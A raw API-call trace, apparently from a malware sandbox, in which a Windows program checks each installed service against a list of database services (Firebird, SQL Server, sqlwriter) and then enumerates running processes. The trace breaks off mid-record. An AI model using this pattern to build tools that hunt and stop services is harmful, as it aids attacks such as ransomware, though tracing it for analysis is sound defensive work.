[0066.203] lstrlenW (lpString="LanmanServer") returned 12 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0066.204] lstrlenW (lpString="LanmanWorkstation") returned 17 [0066.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0066.204] lstrlenW (lpString="lfsvc") returned 5 [0066.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0066.204] lstrlenW (lpString="lmhosts") returned 7 [0066.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0066.204] lstrlenW (lpString="LSM") returned 3 [0066.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0066.204] lstrlenW (lpString="MapsBroker") returned 10 [0066.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0066.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0066.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0066.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0066.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0066.205] lstrlenW (lpString="MpsSvc") returned 6 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0066.205] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0066.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0066.205] lstrlenW (lpString="NcbService") returned 10 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0066.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0066.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0066.205] lstrlenW (lpString="netprofm") returned 8 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0066.205] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0066.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0066.205] lstrlenW (lpString="NlaSvc") returned 6 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0066.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0066.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0066.205] lstrlenW (lpString="nsi") returned 3 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0066.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0066.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0066.205] lstrlenW (lpString="PcaSvc") returned 6 [0066.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0066.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0066.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0066.206] lstrlenW (lpString="PlugPlay") returned 8 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0066.206] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0066.206] lstrlenW (lpString="Power") returned 5 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0066.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0066.206] lstrlenW (lpString="ProfSvc") returned 7 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0066.206] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0066.206] lstrlenW (lpString="RpcEptMapper") returned 12 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0066.206] lstrlenW (lpString="RpcSs") returned 5 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0066.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0066.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0066.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0066.206] lstrlenW (lpString="SamSs") returned 5 [0066.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0066.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0066.207] lstrlenW (lpString="Schedule") returned 8 [0066.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0066.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0066.207] lstrlenW (lpString="SecurityHealthService") returned 21 [0066.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0066.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0066.207] lstrlenW (lpString="SENS") returned 4 [0066.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0066.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0066.207] lstrlenW (lpString="ShellHWDetection") returned 16 [0066.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0066.207] lstrlenW (lpString="Spooler") returned 7 [0066.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0066.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0066.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0066.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0066.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0066.207] lstrlenW (lpString="SSDPSRV") returned 7 [0066.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0066.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0066.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0066.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0066.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0066.208] lstrlenW (lpString="StateRepository") returned 15 [0066.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0066.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0066.208] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0066.208] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0066.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0066.208] lstrlenW (lpString="SysMain") returned 7 [0066.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0066.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0066.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0066.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0066.208] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4364f30 | out: hHeap=0x690000) returned 1 [0066.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0066.212] Process32FirstW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.212] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.213] lstrlenW (lpString="System") returned 6 [0066.213] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.214] lstrlenW (lpString="smss.exe") returned 8 [0066.214] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.215] lstrlenW (lpString="csrss.exe") returned 9 [0066.215] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.215] lstrlenW (lpString="wininit.exe") returned 11 [0066.215] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.216] lstrlenW (lpString="csrss.exe") returned 9 [0066.278] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.279] lstrlenW (lpString="winlogon.exe") returned 12 [0066.279] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.280] lstrlenW (lpString="services.exe") returned 12 [0066.280] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.280] lstrlenW (lpString="lsass.exe") returned 9 [0066.280] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.281] lstrlenW (lpString="svchost.exe") returned 11 [0066.281] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0066.282] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0066.282] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0066.282] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0066.282] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.283] lstrlenW (lpString="svchost.exe") returned 11 [0066.283] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.284] lstrlenW (lpString="dwm.exe") returned 7 [0066.284] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.284] lstrlenW (lpString="svchost.exe") returned 11 [0066.284] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.285] lstrlenW (lpString="svchost.exe") returned 11 [0066.285] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.286] lstrlenW (lpString="svchost.exe") returned 11 [0066.286] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.286] lstrlenW (lpString="svchost.exe") returned 11 [0066.286] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.287] lstrlenW (lpString="svchost.exe") returned 11 [0066.287] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.288] lstrlenW (lpString="svchost.exe") returned 11 [0066.288] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.288] lstrlenW (lpString="svchost.exe") returned 11 [0066.288] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.289] lstrlenW (lpString="svchost.exe") returned 11 [0066.289] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.290] lstrlenW (lpString="svchost.exe") returned 11 [0066.290] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.290] lstrlenW (lpString="spoolsv.exe") returned 11 [0066.291] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.291] lstrlenW (lpString="svchost.exe") returned 11 [0066.291] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.292] lstrlenW (lpString="svchost.exe") returned 11 [0066.292] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.292] lstrlenW (lpString="audiodg.exe") returned 11 [0066.293] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0066.293] lstrlenW (lpString="sihost.exe") returned 10 [0066.293] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.294] lstrlenW (lpString="svchost.exe") returned 11 [0066.294] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.295] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.295] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0066.295] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0066.295] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0066.296] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0066.296] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.297] lstrlenW (lpString="explorer.exe") returned 12 [0066.297] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0066.298] lstrlenW (lpString="Memory Compression") returned 18 [0066.298] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0066.298] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0066.298] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0066.300] lstrlenW (lpString="SearchUI.exe") returned 12 [0066.300] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0066.301] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0066.301] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.301] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.301] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, 